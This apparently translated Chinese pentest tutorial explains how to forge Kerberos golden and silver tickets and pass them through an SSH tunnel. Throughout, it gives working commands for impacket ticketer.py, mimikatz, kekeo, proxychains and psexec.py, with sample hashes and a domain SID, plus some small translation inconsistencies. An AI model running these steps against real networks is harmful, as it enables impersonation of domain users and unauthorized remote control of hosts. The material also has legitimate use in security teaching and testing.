前言
如果我们在渗透过程中能够拿到用户的 TGT,并能将其导入到内存,那么就可以冒充该用户获得其访问权限,这就是 Pass the ticket(PtT)。PtT 技术使用 Kerberos ticket 来代替明文密码或 NTLM 散列。大多数的 PtT 都用的是 golden ticket 和 silver ticket。通常来说,通过PtT 技术获得一台主机的控制权限是非常容易的,但是通过 ssh隧道的 PtT 攻击技术就较为复杂了。
曾经遇到过这样的情况:我们在没有特权 ssh 访问到dmz区中的一台带有内网连接的linux主机的条件下却意外地获得了目标的 krbtgt 和机器账户的 NTLM 散列值。这个网络拓扑大概是这样的:
当我们试图在网络分段的部分对一些敏感的主机进行域内划分的时候,可能就会遇到这种类似的情况,这篇文章我们将着重介绍如何通过 SSH隧道 pass golden ticket 和 silver ticket。作为本文的一个示例,我们将尝试通过位于10.0.10.81的Linux主机来对Windows主机win-rmjbtdb7qtf进行攻击。
Golden Tickets
Golen Tickets(伪造的TGT tickets)提供了攻击者一些用以长久化访问域控、在网络中进行跨域访问,以及作为不存在的用户去访问网络资源的方法。想了解Golden Tickets的详细信息的话,可以去看看这个: Kerberos Golden 。攻击者只需要一台安装了 impacket 和proxychains工具的linux的主机,并且这台主机不需要加入域环境中。
伪造 ticket
要创建一个golden ticket,通常我们需要从目标域获取到以下信息:
- krbtgt账户的nt哈希值
- 目标域的sid
- 目标域的fqdn(全称域名)
- 模拟的账户
我们将使用impacket的一个样例脚本 ticketer.py 来创建golden tickets的凭证缓存(ccache)文件。下面是为用户mbroda创建ccache文件的语法示例:
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
为了使impacket的脚本使用ccache文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将KRB5CCNAME变量设置为ccache文件的绝对路径:
export KRB5CCNAME=/path/to/ccache/file
验证变量是否设置正确我们使用下面的语句:
echo $KRB5CCNAME
现在,我们就可以使用-k参数让支持Kerberos身份验证的impacket脚本使用golden tickets,而不是去提供明文密码或NT哈希来进行身份验证。
名称解析
为了确保Kerberos身份验证过程成功,我们需要修改攻击者机器/etc/hosts文件,以包含目标域控制器的FQDN和目标主机的NetBIOS名称。下面就是个修改的例子:
127.0.0.1 localhost 192.168.26.129 amity.local 192.168.26.128 WIN-RMJBTDB7QTF
如果你还没有域控主机的IP地址,那么你可以通过ssh会话连接的linux在目标域上之执行nslookup,例如:
nslookup -type=srv _ldap._tcp.AMITY.LOCAL
代理设置
我们将使用proxychains在ssh通道上来实现一个域内的漫游,检查配置文件的最后一行来验证proxychains代理的端口,kali下配置文件默认位置是/etc/proxychains.conf。
注意:如果您在执行攻击时遇到名称解析的问题,您可能需要在proxychains配置文件中对pr
oxydns设置进行注释。
当我们通过ssh会话连接到目标的linux主机的时候,使用-D参数对应着proxychains设置的端口。这将在我们本地主机的端口上创建一个可以利用proxychains实现域内漫游的socks代理。例如:
ssh unpriv@10.0.10.81 -D 1337
为了验证代理通道的创建是否成功,我们可以通过proxychains代理nmap的TCP扫描方式扫描目标主机的445端口。
proxychains nmap -sT -Pn -p 445 192.168.26.128
时间同步
如果攻击机的时间比目标域控距离快大约5分钟的话,golden tickets就无法正常的工作。
如果真如以上所述,我们可以使用net time来检查目标的时间(下面的第1行),并在攻击者机器(第2行)上设置时间:
proxychains net time -S <IP-of-DC> proxychains net time set -S <IP-of-DC>
发起攻击
等一切都已准备就绪,我们可以使用任何支持ccache身份验证的工具来攻击目标主机。Impacket的psexec.py就是这样一个工具,运行一下命令后将反弹回一个交互式的CMD:
proxychains ./psexec.py mbrody-da@WIN-RMJBTDB7QTF -k -no-pass
如果你在攻击时遇到错误,检查相关的配置,并且使用psexec.py的 -debug参数进行错误排除。
Silver Tickets
Silver Tickets(伪造的TGS Tickets)将用户认证为一个在主机上运行的服务,并为攻击者提供隐秘和持久的选项,这些是golden tickets所没有的。
这次攻击需要一个Linux主机,安装有 Impacket 和proxychains,并且还有一台安装了 Mimikatz
和 kekeo 的Windows主机。两个主机都不需要成为域成员。
伪造 ticket
要生成一个silver ticket,我们需要以下信息:
- 目标主机账户NTLM散列值
- 目标主机的fqdn
- 目标服务
- 目标域的sid
- 目标域的fqdn
- 模拟的账户
在本例中,我们将通过SMB协议对目标主机进行身份验证,因此我们将使用CIFS服务,有人列出了一份普通的 spn清单 ,这个可以在silver ticket中使用。
在这个时候我们就不能用ticketer.py来生成我们的silver ticket。我们在准备好的windows主机上使用mimikatz来生成silver ticket的kirbi文件,接下来使用kekeo来将我们的silver ticket转化为ccache文件。
使用Mimikatz的 Kerberos模块
用如下命令生成silver ticket:
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
下面是为用户mbroda和CIFS服务创建ticket的示例:
kerberos::golden /user:mbrody-da /domain:amity.local /sid:S-1-5-21-2972629792-1506071460-1188933728 /target:WIN-RMJBTDB7QTF.amity.local /rc4:9f5dc9080322414141c92ff51efb952d /service:cifs
退出mimikatz,并启动kekeo,使用以下语法将kirbi文件转换为ccache文件:
misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...
拷贝这个ccache文件到攻击的Linux主机。确保在Linux主机上记录这个文件的绝对路径;我们将使用这个路径去设置我们的KRB5CCNAME变量。接下来的工作就全是我们的linux主机完成的了。
攻击过程
剩下的silver ticket攻击设置基本类似于“golden ticket”,但有两个例外。
首先,我们需要在/etc/hosts文件中提供目标主机的FQDN,而不是之前的NetBIOS名。对于我们的示例,/etc/hosts文件应该是这样的:
127.0.0.1 localhost 192.168.26.129 amity.local 192.168.26.128 WIN-RMJBTDB7QTF.amity.local
第二个区别是我们需要将我们的攻击机的时间与目标主机同步,silver ticket不需要与我们的目标域控进行通信。
遵循上面的步骤,设置KRB5CCNAME变量,检查proxychains配置,建立SSH隧道做socks代理,并使用nmap验证代理可用。我们现在可以通过目标主机的fqdn使用psexec.py脚本进行攻击了。
proxychains python psexec.py mbrody-da@WIN-RMJBTDB7QTF.amity.local -k -no-pass
小结
Golden ticket和silver ticket技术为攻击者提供了持续和隐秘的技术,但是都需要向目标主机转发连接来实现这一目的。当攻击者在域渗透时可能发现自己有了一些ssh权限,但是却只能通过Linux主机间接到达目标主机,在这些场景中,可以通过proxychains挂代理通过SSH隧道执行PtT攻击。这篇文章介绍了使用psexec.py在目标主机上发起攻击的情况,其实其他任何支持-k参数的任何有效脚本都可以进行攻击。
发表评论